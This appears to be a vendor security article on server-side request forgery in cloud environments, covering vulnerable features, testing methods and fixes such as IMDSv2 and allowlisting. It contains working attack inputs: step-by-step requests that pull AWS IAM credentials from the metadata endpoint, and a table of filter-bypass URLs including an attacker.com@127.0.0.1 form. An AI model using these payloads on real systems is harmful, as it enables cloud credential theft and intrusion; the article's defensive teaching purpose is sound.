Why SSRF became critical in cloud environments
SSRF existed before cloud computing, but it became a critical severity vulnerability the moment applications started running on AWS, GCP, and Azure. Every cloud VM has a metadata endpoint accessible only from the instance itself — a URL that returns IAM credentials, SSH keys, instance configuration, and other sensitive data.
AWS metadata is at http://169.254.169.254/latest/meta-data/. It's not accessible from the internet. It's accessible from any process running on the EC2 instance — including your web application. If an attacker can make your application fetch a URL they control, they can point it at the metadata endpoint and exfiltrate credentials that have full AWS account access.
Capital One's 2019 breach — 100 million credit card applications exposed — exploited exactly this: an SSRF vulnerability in a WAF configuration that allowed access to the EC2 metadata endpoint, returning IAM credentials used to access S3 buckets.
Where SSRF vulnerabilities live
Any feature that makes your server fetch a URL is a potential SSRF entry point. The most common locations:
URL preview / link unfurling
Features that fetch a URL to generate a preview (title, description, image). Common in social apps, content editors, messaging platforms. The server fetches whatever URL the user submits.
Webhook configuration
Users enter a URL your server will POST to on events. If the server doesn't validate the destination, it can be pointed at internal services.
File import by URL
"Import from URL" features that fetch a remote file for processing. CSV importers, image uploaders that accept URLs, document importers.
PDF / screenshot generation
Server-side rendering of user-supplied HTML or URLs to generate PDFs or screenshots. The renderer fetches URLs in the content — including internal ones.
API integrations with user-supplied endpoints
Features where users configure an external API endpoint your server calls. OAuth callback URLs, custom integration endpoints, notification targets.
Proxy or redirect endpoints
Endpoints that proxy requests to a destination parameter: /proxy?url=https://example.com. If the destination isn't validated, any URL works.
The cloud metadata attack — step by step
This is the highest-impact SSRF scenario. The attack works against any application running on AWS EC2 without IMDSv2 enforced:
# Step 1: Find a URL-fetching feature
POST /api/preview HTTP/1.1
Content-Type: application/json
{ "url": "https://example.com" }
# Step 2: Test with the AWS metadata endpoint
{ "url": "http://169.254.169.254/latest/meta-data/" }
# If the response contains metadata paths, escalate:
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
# Response reveals the IAM role name, then fetch credentials:
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>" }
RESPONSE — confirmed SSRF with credential access
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI...",
"Token": "AQoXnyc...",
"Expiration": "2026-05-04T12:00:00Z"
}
# These credentials can now be used with the AWS CLI
# aws s3 ls — lists all S3 buckets accessible to this role
Testing methodology
Map every input that triggers a server-side HTTP request
Review the application for all URL-accepting features: link previews, webhooks, file import, PDF generation, proxy endpoints, integration configuration. Each one is a test target.
Test for basic SSRF with an out-of-band detector
Submit a URL pointing to a server you control (e.g., a Burp Collaborator URL or a simple HTTP listener). If your server receives a request, the application made an outbound connection — basic SSRF is confirmed. This is the safest first test.
Test internal network access
Try internal addresses: http://localhost/, http://127.0.0.1/, http://0.0.0.0/, http://[::1]/. Also try common internal service ports: :8080, :8443, :9200 (Elasticsearch), :6379 (Redis), :5432 (PostgreSQL). A response that differs from an external URL indicates internal access.
Test cloud metadata endpoints
If the application runs on a cloud provider, test the provider-specific metadata endpoint. AWS: 169.254.169.254. GCP: 169.254.169.254/computeMetadata/v1/ (requires Metadata-Flavor: Google header). Azure: 169.254.169.254/metadata/instance.
Test for filter bypass techniques
If basic SSRF attempts are blocked, try bypasses: decimal IP notation (2130706433 = 127.0.0.1), IPv6 (http://[::1]/), URL encoding, redirects from an external domain you control to an internal IP, and DNS rebinding.
Test blind SSRF separately
Blind SSRF is when the server makes the request but doesn't return the response to you. Test by using an out-of-band detector and checking whether your listener received a connection — even if the application returns nothing. Blind SSRF can still be used for internal port scanning and service discovery.
SSRF bypass techniques and how to test them
| Technique | Example | Bypasses |
|---|---|---|
| Decimal IP | http://2130706433/ | Blocklists checking for 127.0.0.1 |
| Octal IP | http://0177.0.0.1/ | String-based IP validation |
| IPv6 loopback | http://[::1]/ | IPv4-only blocklists |
| Short URL redirect | https://shorturl→127.0.0.1 | URL validation before redirect |
| DNS rebinding | Resolves to allowed IP, then 127.0.0.1 | Time-of-check vs time-of-use |
| URL with credentials | http://attacker.com@127.0.0.1/ | Naive hostname parsing |
| URL with fragment | http://127.0.0.1#@allowed.com | Parser confusion |
How to fix SSRF
Enforce IMDSv2 on all EC2 instances
AWS Instance Metadata Service v2 requires a session token obtained via a PUT request before metadata can be accessed. A simple GET to 169.254.169.254 no longer works. This alone eliminates the credential theft path for a large class of SSRF vulnerabilities. Set HttpTokens=required on every EC2 instance.
Validate destinations against an allowlist, not a blocklist
Blocklists of internal IP ranges are bypassable via the techniques above. An allowlist of specific external domains your application legitimately needs to fetch from is not. If your link preview feature only needs to fetch from http and https schemes to public IPs, define that explicitly — don't try to block everything that isn't allowed.
Resolve DNS and validate the final IP before fetching
Resolve the hostname to an IP address before making the request. Check the resolved IP against a blocklist of private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16). Reject if the IP falls in a private range. Note: this doesn't fully prevent DNS rebinding but mitigates most SSRF.
Disable unnecessary URL schemes
If you only need to fetch HTTP and HTTPS URLs, reject file://, gopher://, dict://, ftp://, and other schemes explicitly. Some of these schemes can be used to read local files or interact with internal services in unexpected ways.
Use a dedicated outbound proxy with egress filtering
Route all outbound HTTP requests from your application through a proxy that enforces egress rules. This gives you a single enforcement point rather than relying on application-level validation in every URL-fetching feature.
Test your application for SSRF automatically
Nautillo Pro tests for basic SSRF, blind SSRF, cloud metadata access, and internal network scanning across all discovered URL-accepting inputs. Every confirmed finding includes the exact request, the internal response content, and the confirmed impact.